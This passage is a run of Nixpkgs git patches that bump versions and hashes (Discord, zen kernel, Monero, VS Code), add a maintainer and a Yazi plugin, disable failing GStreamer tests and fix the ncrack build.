         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-Z8gTydEX8Bd5TCHACY5iOJqRuZ6YSOyYa3lSBr3PYLQ=";
+        hash = "sha256-6vo7vevxzVyZpLWBbTPS94wQU3pQtrMsxc91S02M42M=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 667c7eb03ecd687e6df2646cb0d4e1e266cd17e4 Mon Sep 17 00:00:00 2001
From: guttermonk <guttermonk@protonmail.com>
Date: Wed, 27 Aug 2025 21:54:09 -0500
Subject: [PATCH 3978/4511] maintainers: add guttermonk

Update maintainer-list.nix

(cherry picked from commit 6906f43bf5b85979a45c8bdf10ffba95d341973a)
---
 maintainers/maintainer-list.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index a94ca9efa292..4e729e3cee81 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9478,6 +9478,11 @@
     githubId = 28863828;
     name = "guserav";
   };
+  guttermonk = {
+    github = "guttermonk";
+    githubId = 4753752;
+    name = "guttermonk";
+  };
   guyonvarch = {
     email = "joris@guyonvarch.me";
     github = "guyonvarch";

From 9af66e93e3095bbaf1f7d1996549f1b97cdcbf59 Mon Sep 17 00:00:00 2001
From: guttermonk <guttermonk@protonmail.com>
Date: Wed, 27 Aug 2025 21:57:31 -0500
Subject: [PATCH 3979/4511] yaziPlugins.recycle-bin: init at 1.0.0

(cherry picked from commit e0bba73a3ad1b019b9f56a5c8c86465b088c6d9e)
---
 .../ya/yazi/plugins/recycle-bin/default.nix   | 24 +++++++++++++++++++
 1 file changed, 24 insertions(+)
 create mode 100644 pkgs/by-name/ya/yazi/plugins/recycle-bin/default.nix

diff --git a/pkgs/by-name/ya/yazi/plugins/recycle-bin/default.nix b/pkgs/by-name/ya/yazi/plugins/recycle-bin/default.nix
new file mode 100644
index 000000000000..21b1d6b3a886
--- /dev/null
+++ b/pkgs/by-name/ya/yazi/plugins/recycle-bin/default.nix
@@ -0,0 +1,24 @@
+{
+  lib,
+  fetchFromGitHub,
+  mkYaziPlugin,
+}:
+mkYaziPlugin {
+  pname = "recycle-bin.yazi";
+  version = "1.0.0-unstable-2025-08-20";
+
+  src = fetchFromGitHub {
+    owner = "uhs-robert";
+    repo = "recycle-bin.yazi";
+    rev = "52f6fe08f5f42cbae56d8c46abc368560e1e2d6e";
+    hash = "sha256-krZAbL7JRRvJbT+23C6fw8Zbav+8I+bvIFAYrpeNuhw=";
+  };
+
+  meta = {
+    description = "A Recycle Bin for Yazi with browse, restore, and cleanup capabilities";
+    homepage = "https://github.com/uhs-robert/recycle-bin.yazi";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ guttermonk ];
+    platforms = lib.platforms.linux;
+  };
+}

From d985743a800280f1556d5a61f7973f0bee754f08 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 21 Jul 2025 20:39:05 -0700
Subject: [PATCH 3980/4511] python3Packages.async-upnp-client: 0.44.0 -> 0.45.0

Diff: https://github.com/StevenLooman/async_upnp_client/compare/refs/tags/0.44.0...refs/tags/0.45.0

Changelog: https://github.com/StevenLooman/async_upnp_client/blob/0.45.0/CHANGES.rst
(cherry picked from commit 053adb73ef1c6ae7e457c0de851eda3662b873ee)
Fixing the python 3.13.5 fallout (ef75aca7a0a):
https://hydra.nixos.org/build/306042591/nixlog/4/tail
---
 .../async-upnp-client/default.nix               | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/pkgs/development/python-modules/async-upnp-client/default.nix b/pkgs/development/python-modules/async-upnp-client/default.nix
index 030ccf1a8f26..bd40593000fa 100644
--- a/pkgs/development/python-modules/async-upnp-client/default.nix
+++ b/pkgs/development/python-modules/async-upnp-client/default.nix
@@ -3,7 +3,6 @@
   stdenv,
   buildPythonPackage,
   fetchFromGitHub,
-  pythonOlder,
 
   # build-system
   setuptools,
@@ -23,16 +22,14 @@
 
 buildPythonPackage rec {
   pname = "async-upnp-client";
-  version = "0.44.0";
+  version = "0.45.0";
   pyproject = true;
 
-  disabled = pythonOlder "3.8";
-
   src = fetchFromGitHub {
     owner = "StevenLooman";
     repo = "async_upnp_client";
     tag = version;
-    hash = "sha256-xtouCq8nkvXxgZ0jX4VuTU41xxrAkXqWEpZg/vms4Zo=";
+    hash = "sha256-bRUEnedPDFBgpJeDPRG6e6fQUJ/R2RaasVKHZX7COp8=";
   };
 
   pythonRelaxDeps = [
@@ -57,6 +54,8 @@ buildPythonPackage rec {
   ];
 
   disabledTests = [
+    "test_decode_ssdp_packet"
+    "test_microsoft_butchers_ssdp"
     # socket.gaierror: [Errno -2] Name or service not known
     "test_async_get_local_ip"
     "test_get_local_ip"
@@ -70,12 +69,12 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "async_upnp_client" ];
 
-  meta = with lib; {
+  meta = {
     description = "Asyncio UPnP Client library for Python";
     homepage = "https://github.com/StevenLooman/async_upnp_client";
-    changelog = "https://github.com/StevenLooman/async_upnp_client/blob/${version}/CHANGES.rst";
-    license = licenses.asl20;
-    maintainers = with maintainers; [ hexa ];
+    changelog = "https://github.com/StevenLooman/async_upnp_client/blob/${src.tag}/CHANGES.rst";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ hexa ];
     mainProgram = "upnp-client";
   };
 }

From 4d4006c39d04985f138e2929d220936ca6350dcb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 00:07:12 +0000
Subject: [PATCH 3981/4511] linuxKernel.kernels.linux_zen: 6.16.1 -> 6.16.3

(cherry picked from commit 56aac88f6f77cb60688522de6d8a376e54e43ebe)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 46dbf6968bc7..d980f8b31f54 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.16.1"; # zen
+      version = "6.16.3"; # zen
       suffix = "zen1"; # zen
-      sha256 = "1z20d53hz1zwg65x8jbq57v7snh9z5qk0gnvw4v6xfn9hwi79sjs"; # zen
+      sha256 = "1dxxpd1j163m0ijw3ldc0v958jwn002crw5x0n1yzrklgs4jp4dm"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 778c4be6066b0d8529de648cb86cd96aa430b8ff Mon Sep 17 00:00:00 2001
From: hellodword <46193371+hellodword@users.noreply.github.com>
Date: Wed, 27 Aug 2025 01:19:33 +0000
Subject: [PATCH 3982/4511] monero-{cli,gui}: 0.18.4.1 -> 0.18.4.2

(cherry picked from commit 87fc9b9b3ba90ef84939a812101e37c6a83736ef)
---
 pkgs/by-name/mo/monero-cli/package.nix | 4 ++--
 pkgs/by-name/mo/monero-gui/package.nix | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/mo/monero-cli/package.nix b/pkgs/by-name/mo/monero-cli/package.nix
index 81f73b14b431..10734346d211 100644
--- a/pkgs/by-name/mo/monero-cli/package.nix
+++ b/pkgs/by-name/mo/monero-cli/package.nix
@@ -40,13 +40,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "monero-cli";
-  version = "0.18.4.1";
+  version = "0.18.4.2";
 
   src = fetchFromGitHub {
     owner = "monero-project";
     repo = "monero";
     rev = "v${version}";
-    hash = "sha256-z5yhU1xePFBSmfl0X8x7AAgPvqUX0PQzLzxMblS8Um8=";
+    hash = "sha256-ibwcvEHlJkMjXoJQMPVrlir5irdclJsmV7aBB4/m190=";
   };
 
   patches = [
diff --git a/pkgs/by-name/mo/monero-gui/package.nix b/pkgs/by-name/mo/monero-gui/package.nix
index 9f6ed89018ee..4d56bd6bec84 100644
--- a/pkgs/by-name/mo/monero-gui/package.nix
+++ b/pkgs/by-name/mo/monero-gui/package.nix
@@ -28,13 +28,13 @@
 
 stdenv.mkDerivation rec {
   pname = "monero-gui";
-  version = "0.18.4.1";
+  version = "0.18.4.2";
 
   src = fetchFromGitHub {
     owner = "monero-project";
     repo = "monero-gui";
     rev = "v${version}";
-    hash = "sha256-Fm/kV31aKcjQjMO8vwjfDQsH8Qq8pRdFX3zbZdEGETg=";
+    hash = "sha256-FKQrB47q791lDaomI5A10qw1oGh5zp9TFPpFoX2ZAmc=";
   };
 
   nativeBuildInputs = [

From a041fcff252fdf6dfd352783a9115addbccf73d2 Mon Sep 17 00:00:00 2001
From: mivorasu <mivorasu@users.noreply.github.com>
Date: Sat, 2 Aug 2025 17:29:25 +0800
Subject: [PATCH 3983/4511] vscode: remove misleading description

(cherry picked from commit efd87a9914af70c971cc0e4ad937e5d7d44138c4)
---
 pkgs/applications/editors/vscode/vscode.nix | 14 +++++---------
 1 file changed, 5 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 4ea25a9f1bec..d7e05c3d6182 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -92,17 +92,13 @@ callPackage ./generic.nix rec {
   hasVsceSign = true;
 
   meta = {
-    description = ''
-      Open source source code editor developed by Microsoft for Windows,
-      Linux and macOS
-    '';
+    description = "Code editor developed by Microsoft";
     mainProgram = "code";
     longDescription = ''
-      Open source source code editor developed by Microsoft for Windows,
-      Linux and macOS. It includes support for debugging, embedded Git
-      control, syntax highlighting, intelligent code completion, snippets,
-      and code refactoring. It is also customizable, so users can change the
-      editor's theme, keyboard shortcuts, and preferences
+      Code editor developed by Microsoft. It includes support for debugging,
+      embedded Git control, syntax highlighting, intelligent code completion,
+      snippets, and code refactoring. It is also customizable, so users can
+      change the editor's theme, keyboard shortcuts, and preferences
     '';
     homepage = "https://code.visualstudio.com/";
     downloadPage = "https://code.visualstudio.com/Updates";

From a34c00adc80af1d76cf927c6b661d738a483310e Mon Sep 17 00:00:00 2001
From: mivorasu <mivorasu@users.noreply.github.com>
Date: Sat, 2 Aug 2025 17:31:57 +0800
Subject: [PATCH 3984/4511] vscode: remove rec

(cherry picked from commit 05238330bc089c285ab6316d7f4d2057dfe6afcd)
---
 pkgs/applications/editors/vscode/vscode.nix | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index d7e05c3d6182..b229e30310e3 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -43,20 +43,27 @@ let
       armv7l-linux = "sha256-VSsn4d9ztFgGXVZeCeTSHDD5n3aTBbHF/xx2JvTGOeQ=";
     }
     .${system} or throwSystem;
-in
-callPackage ./generic.nix rec {
+
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
   version = "1.102.3";
-  pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
   rev = "488a1f239235055e34e673291fb8d8c810886f81";
+in
+callPackage ./generic.nix {
+  pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
   shortName = "Code" + lib.optionalString isInsiders " - Insiders";
-  inherit commandLineArgs useVSCodeRipgrep sourceExecutableName;
+  inherit
+    version
+    rev
+    commandLineArgs
+    useVSCodeRipgrep
+    sourceExecutableName
+    ;
 
   src = fetchurl {
     name = "VSCode_${version}_${plat}.${archive_fmt}";

From 999ed3e0a75011203cace2ea48256b1662ee37ea Mon Sep 17 00:00:00 2001
From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com>
Date: Mon, 11 Aug 2025 07:13:56 +0000
Subject: [PATCH 3985/4511] vscode: 1.102.3 -> 1.103.0

(cherry picked from commit a4727cf3fd63808c3f0f225b1213220339429677)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index b229e30310e3..fb1a781e3bad 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,20 +36,20 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-EbgP2CjUBiC+2G7TkGyuxaqr35sTArls4lbDNTH1Pmc=";
-      x86_64-darwin = "sha256-OrDuzSaPxuedhS21Hx1PNTbp6eQpfFfUbO05gIu5Ou8=";
-      aarch64-linux = "sha256-V0aEGqBRf3qVKvPYNypQ9hYWovqQIC3kQq2goq/hVjA=";
-      aarch64-darwin = "sha256-29i/+mz0NCU0ZCO+tzlbSl1iKx5/H89bGQTvRR5/PuA=";
-      armv7l-linux = "sha256-VSsn4d9ztFgGXVZeCeTSHDD5n3aTBbHF/xx2JvTGOeQ=";
+      x86_64-linux = "sha256-Fji3/9T8X2VQH6gUhReSuniuX2BX+4S7uPJWEZn56vc=";
+      x86_64-darwin = "sha256-LgYdgiZbMdpe/KjAYuAVYEFFc1gcFSo5+/6lf15zUvk=";
+      aarch64-linux = "sha256-WxJEjTvXK1N1FjEFv0nUX7oLgPrcKlPHYSiLkTcdhj4=";
+      aarch64-darwin = "sha256-2H44MkP7Vv+j78DxGWROHCPdMQv2WzTrG1I7LANMYqg=";
+      armv7l-linux = "sha256-Pw9krAFjrllNOsXipaZy7X7wnB7C8V45WU7HuKa59JQ=";
     }
     .${system} or throwSystem;
 
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.102.3";
+  version = "1.103.0";
 
   # This is used for VS Code - Remote SSH test
-  rev = "488a1f239235055e34e673291fb8d8c810886f81";
+  rev = "e3550cfac4b63ca4eafca7b601f0d2885817fd1f";
 in
 callPackage ./generic.nix {
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
@@ -82,7 +82,7 @@ callPackage ./generic.nix {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-xVYG/EJRPRJBj3BSarTwpX9F1UM/OI+7ci6vQa64iWI=";
+      hash = "sha256-GEN8WMPaYhwQsgml3tXWJP7F4RXH5vy6Ht0RUGauxnw=";
     };
     stdenv = stdenvNoCC;
   };

From 143f2523d6dfdd29d41f752cd8d6aa329fa0824b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 14 Aug 2025 23:04:22 +0000
Subject: [PATCH 3986/4511] vscode: 1.103.0 -> 1.103.1

(cherry picked from commit 13c53b2f627f8ca25cd82510d1bb7b717e0b0e26)
---
 pkgs/applications/editors/vscode/vscode.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index fb1a781e3bad..1bfa8a5c7874 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,17 +36,17 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-Fji3/9T8X2VQH6gUhReSuniuX2BX+4S7uPJWEZn56vc=";
-      x86_64-darwin = "sha256-LgYdgiZbMdpe/KjAYuAVYEFFc1gcFSo5+/6lf15zUvk=";
-      aarch64-linux = "sha256-WxJEjTvXK1N1FjEFv0nUX7oLgPrcKlPHYSiLkTcdhj4=";
-      aarch64-darwin = "sha256-2H44MkP7Vv+j78DxGWROHCPdMQv2WzTrG1I7LANMYqg=";
-      armv7l-linux = "sha256-Pw9krAFjrllNOsXipaZy7X7wnB7C8V45WU7HuKa59JQ=";
+      x86_64-linux = "sha256-0zM9dyK226l4RgF1H81ojp5HC25snaN5K1QCnWIw/nw=";
+      x86_64-darwin = "sha256-PpThKF6TKp7hcku8QEsVYhQYVwgiVFaCWSgNI6Vo2+s=";
+      aarch64-linux = "sha256-bv9WsrvvlUc4PCKNZmsFBXQD6le5Ier1nm5qaXD2Mic=";
+      aarch64-darwin = "sha256-5wWmlgarDlWvk2Y4HRk00/oi0WcjDmnT7YL2Z1rfJ+Y=";
+      armv7l-linux = "sha256-hSYqK1hXg3nfxz344XdLrnWfixmlqbJUpI68PCcfF+I=";
     }
     .${system} or throwSystem;
 
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.103.0";
+  version = "1.103.1";
 
   # This is used for VS Code - Remote SSH test
   rev = "e3550cfac4b63ca4eafca7b601f0d2885817fd1f";

From 883ed2e657e22f6a2de0de6a559df9b954825e2a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 23 Aug 2025 06:48:45 +0000
Subject: [PATCH 3987/4511] vscode: 1.103.1 -> 1.103.2

(cherry picked from commit 698ca750ea6c0557c0d8f59b4cae54676974924e)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 1bfa8a5c7874..4a09cbb4c1e1 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,20 +36,20 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-0zM9dyK226l4RgF1H81ojp5HC25snaN5K1QCnWIw/nw=";
-      x86_64-darwin = "sha256-PpThKF6TKp7hcku8QEsVYhQYVwgiVFaCWSgNI6Vo2+s=";
-      aarch64-linux = "sha256-bv9WsrvvlUc4PCKNZmsFBXQD6le5Ier1nm5qaXD2Mic=";
-      aarch64-darwin = "sha256-5wWmlgarDlWvk2Y4HRk00/oi0WcjDmnT7YL2Z1rfJ+Y=";
-      armv7l-linux = "sha256-hSYqK1hXg3nfxz344XdLrnWfixmlqbJUpI68PCcfF+I=";
+      x86_64-linux = "sha256-vlmvPk2ljwdDklGygdxmtodPzGB+gNjwEaaVp3N+fQI=";
+      x86_64-darwin = "sha256-k1W/85ehc8YXBKSac+E9aoV2AEif85iyTqqxEZ3MNr8=";
+      aarch64-linux = "sha256-26QfnBYm1Rx1Udzk4dtpNOUSpuDqpIkimv0QlkcnsAg=";
+      aarch64-darwin = "sha256-au/H0QxWb9KwuJkJVV+gVyjUlArziV0zptrAlBtt9f0=";
+      armv7l-linux = "sha256-VRbzwhoqrLCdGbAYRkzVMzVjg8pioRhvKTvV3F+tjjE=";
     }
     .${system} or throwSystem;
 
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.103.1";
+  version = "1.103.2";
 
   # This is used for VS Code - Remote SSH test
-  rev = "e3550cfac4b63ca4eafca7b601f0d2885817fd1f";
+  rev = "6f17636121051a53c88d3e605c491d22af2ba755";
 in
 callPackage ./generic.nix {
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
@@ -82,7 +82,7 @@ callPackage ./generic.nix {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-GEN8WMPaYhwQsgml3tXWJP7F4RXH5vy6Ht0RUGauxnw=";
+      hash = "sha256-6E/rh22SC97uzkDsLMsrard9kbfSanuUcAImrV69JLw=";
     };
     stdenv = stdenvNoCC;
   };

From 99e41ac14662f5ed0685a9b38e6e7ded3661fd4d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 27 Aug 2025 22:05:47 +0200
Subject: [PATCH 3988/4511] radicle-node: fix update script

- only update to stable releases
- sort git tags to find the latest version

(cherry picked from commit 75fe7dbb27b9dc644efdeed1a7c447cfcdfc2502)
---
 pkgs/by-name/ra/radicle-node/update.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/update.sh b/pkgs/by-name/ra/radicle-node/update.sh
index b1a79b18da55..586dd95cc2fa 100755
--- a/pkgs/by-name/ra/radicle-node/update.sh
+++ b/pkgs/by-name/ra/radicle-node/update.sh
@@ -1,5 +1,5 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -i bash -p coreutils gnused common-updater-scripts nix-update
+#!nix-shell -i bash -p coreutils gnugrep common-updater-scripts nix-update
 
-version=$(list-git-tags | tail -1 | sed 's|^releases/||')
+version=$(list-git-tags | grep -oP '^releases/\K\d+\.\d+\.\d+$' | sort -rV | head -1)
 nix-update --version="$version" radicle-node

From 75578f8a25ed0651d813b670127382e3726bf713 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Mon, 18 Aug 2025 10:45:16 -0600
Subject: [PATCH 3989/4511] gst_all_1.gst-plugins-rs: disable tests

Tests disabled due to failing tests blocking unstable channel and no fix
being found in several days

Test failures: https://cache.nixos.org/log/0j86pshk6xb0cnqxq64f007ws0b7yzbb-gst-plugins-rs-0.14.1.drv
Upstream issue: https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/723

(cherry picked from commit 40ab1553c4fac2dafb3ab18b4710670282cbaade)
https://hydra.nixos.org/build/305314777
---
 .../libraries/gstreamer/rs/default.nix        |  7 +---
 .../gstreamer/rs/ignore-network-tests.patch   | 12 ------
 .../libraries/gstreamer/rs/ignore-tests.patch | 40 +++++++++++++++++++
 3 files changed, 42 insertions(+), 17 deletions(-)
 delete mode 100644 pkgs/development/libraries/gstreamer/rs/ignore-network-tests.patch
 create mode 100644 pkgs/development/libraries/gstreamer/rs/ignore-tests.patch

diff --git a/pkgs/development/libraries/gstreamer/rs/default.nix b/pkgs/development/libraries/gstreamer/rs/default.nix
index 11903735d124..e53a4568c476 100644
--- a/pkgs/development/libraries/gstreamer/rs/default.nix
+++ b/pkgs/development/libraries/gstreamer/rs/default.nix
@@ -188,11 +188,8 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   patches = [
-    # Disable uriplaylistbin test that requires network access.
-    # https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/676
-    # TODO: Remove in 0.14, it has been replaced by a different fix:
-    # https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/merge_requests/2140
-    ./ignore-network-tests.patch
+    # Related to https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/723
+    ./ignore-tests.patch
 
     # Fix reqwest tests failing due to broken TLS lookup in native-tls dependency.
     # https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/675
diff --git a/pkgs/development/libraries/gstreamer/rs/ignore-network-tests.patch b/pkgs/development/libraries/gstreamer/rs/ignore-network-tests.patch
deleted file mode 100644
index 22bcce3f2e37..000000000000
--- a/pkgs/development/libraries/gstreamer/rs/ignore-network-tests.patch
+++ /dev/null
@@ -1,12 +0,0 @@
-diff --git a/utils/uriplaylistbin/tests/uriplaylistbin.rs b/utils/uriplaylistbin/tests/uriplaylistbin.rs
-index dfd1c9ce..8ed24949 100644
---- a/utils/uriplaylistbin/tests/uriplaylistbin.rs
-+++ b/utils/uriplaylistbin/tests/uriplaylistbin.rs
-@@ -534,6 +534,7 @@ fn infinite_to_finite() {
-     assert_eq!(current_uri_index, 0);
- }
- 
-+#[ignore = "Requires network access"]
- #[test]
- /// cache HTTP playlist items
- fn cache() {
diff --git a/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch b/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
new file mode 100644
index 000000000000..63c053f9a066
--- /dev/null
+++ b/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
@@ -0,0 +1,40 @@
+diff --git a/mux/mp4/tests/tests.rs b/mux/mp4/tests/tests.rs
+index 52b91f59..c5875554 100644
+--- a/mux/mp4/tests/tests.rs
++++ b/mux/mp4/tests/tests.rs
+@@ -1339,6 +1339,7 @@ fn test_taic_encode_cannot_sync(video_enc: &str) {
+     );
+ }
+ 
++#[ignore = "Unknown failure"]
+ #[test]
+ fn test_taic_x264() {
+     init();
+@@ -1359,6 +1360,7 @@ fn test_taic_stai_x264_not_enabled() {
+     test_taic_stai_encode("x264enc", false);
+ }
+ 
++#[ignore = "Unknown failure"]
+ #[test]
+ fn test_taic_x264_no_sync() {
+     init();
+diff --git a/utils/uriplaylistbin/tests/uriplaylistbin.rs b/utils/uriplaylistbin/tests/uriplaylistbin.rs
+index 3489eaa8..569635d6 100644
+--- a/utils/uriplaylistbin/tests/uriplaylistbin.rs
++++ b/utils/uriplaylistbin/tests/uriplaylistbin.rs
+@@ -388,6 +388,7 @@ fn multi_audio() {
+     assert_eq!(current_uri_index, 2);
+ }
+ 
++#[ignore = "Unknown failure"]
+ #[test]
+ fn multi_audio_video() {
+     let (_events, current_iteration, current_uri_index, eos) = test(
+@@ -403,6 +404,7 @@ fn multi_audio_video() {
+     assert_eq!(current_uri_index, 1);
+ }
+ 
++#[ignore = "Unknown failure"]
+ #[test]
+ fn iterations() {
+     let (_events, current_iteration, current_uri_index, eos) = test(

From a720fcdfe185029978b423d5130d90229e0ad9f2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 28 Aug 2025 16:19:33 +0200
Subject: [PATCH 3990/4511] fixup! gst_all_1.gst-plugins-rs: disable tests

Uh, my bad, I should've tested that the patches apply.
It's a different version.
---
 .../libraries/gstreamer/rs/ignore-tests.patch | 30 ++-----------------
 1 file changed, 2 insertions(+), 28 deletions(-)

diff --git a/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch b/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
index 63c053f9a066..eba181dea713 100644
--- a/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
+++ b/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
@@ -1,40 +1,14 @@
-diff --git a/mux/mp4/tests/tests.rs b/mux/mp4/tests/tests.rs
-index 52b91f59..c5875554 100644
---- a/mux/mp4/tests/tests.rs
-+++ b/mux/mp4/tests/tests.rs
-@@ -1339,6 +1339,7 @@ fn test_taic_encode_cannot_sync(video_enc: &str) {
-     );
- }
- 
-+#[ignore = "Unknown failure"]
- #[test]
- fn test_taic_x264() {
-     init();
-@@ -1359,6 +1360,7 @@ fn test_taic_stai_x264_not_enabled() {
-     test_taic_stai_encode("x264enc", false);
- }
- 
-+#[ignore = "Unknown failure"]
- #[test]
- fn test_taic_x264_no_sync() {
-     init();
-diff --git a/utils/uriplaylistbin/tests/uriplaylistbin.rs b/utils/uriplaylistbin/tests/uriplaylistbin.rs
-index 3489eaa8..569635d6 100644
 --- a/utils/uriplaylistbin/tests/uriplaylistbin.rs
 +++ b/utils/uriplaylistbin/tests/uriplaylistbin.rs
-@@ -388,6 +388,7 @@ fn multi_audio() {
-     assert_eq!(current_uri_index, 2);
+@@ -391,4 +391,5 @@
  }
  
 +#[ignore = "Unknown failure"]
  #[test]
  fn multi_audio_video() {
-     let (_events, current_iteration, current_uri_index, eos) = test(
-@@ -403,6 +404,7 @@ fn multi_audio_video() {
-     assert_eq!(current_uri_index, 1);
+@@ -406,4 +407,5 @@
  }
  
 +#[ignore = "Unknown failure"]
  #[test]
  fn iterations() {
-     let (_events, current_iteration, current_uri_index, eos) = test(

From 73bda6dc05ce6fa413b4b14d834029c253f0d4d7 Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Wed, 16 Jul 2025 00:40:51 +0200
Subject: [PATCH 3991/4511] ncrack: fix build

(cherry picked from commit a7e5f352619ca796418e9af933ea6374034c784e)
---
 pkgs/by-name/nc/ncrack/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/nc/ncrack/package.nix b/pkgs/by-name/nc/ncrack/package.nix
index 2df00ec4c894..c28de8150513 100644
--- a/pkgs/by-name/nc/ncrack/package.nix
+++ b/pkgs/by-name/nc/ncrack/package.nix
@@ -26,8 +26,18 @@ stdenv.mkDerivation rec {
       url = "https://github.com/nmap/ncrack/commit/cc4103267bab6017a4da9d41156d0c1075012eba.patch";
       sha256 = "06nlfvc7p108f8ppbcgwmj4iwmjy95xhc1sawa8c78lrx22r7gy3";
     })
+    # https://github.com/nmap/ncrack/pull/127
+    (fetchpatch {
+      url = "https://src.fedoraproject.org/rpms/ncrack/raw/425a54633e220b6bafca37554e5585e2c6b48082/f/ncrack-0.7-fedora-c99.patch";
+      hash = "sha256-kPYLPJ04dFI+WZQBecuTHXdTZhc40FDQkt35Jrddoyw=";
+    })
   ];
 
+  postPatch = ''
+    substituteInPlace crypto.cc \
+      --replace-fail "register" ""
+  '';
+
   # Our version is good; the check is bad.
   configureFlags = [ "--without-zlib-version-check" ];
 

From e4d90113e5fc5a04b8462c7c27a43b80074d0580 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 16:47:49 +0000
Subject: [PATCH 3992/4511] firefly-iii-data-importer: 1.7.9 -> 1.7.10

(cherry picked from commit 1f6fa60b0f0c61701241498097905f33449fe2b6)
---
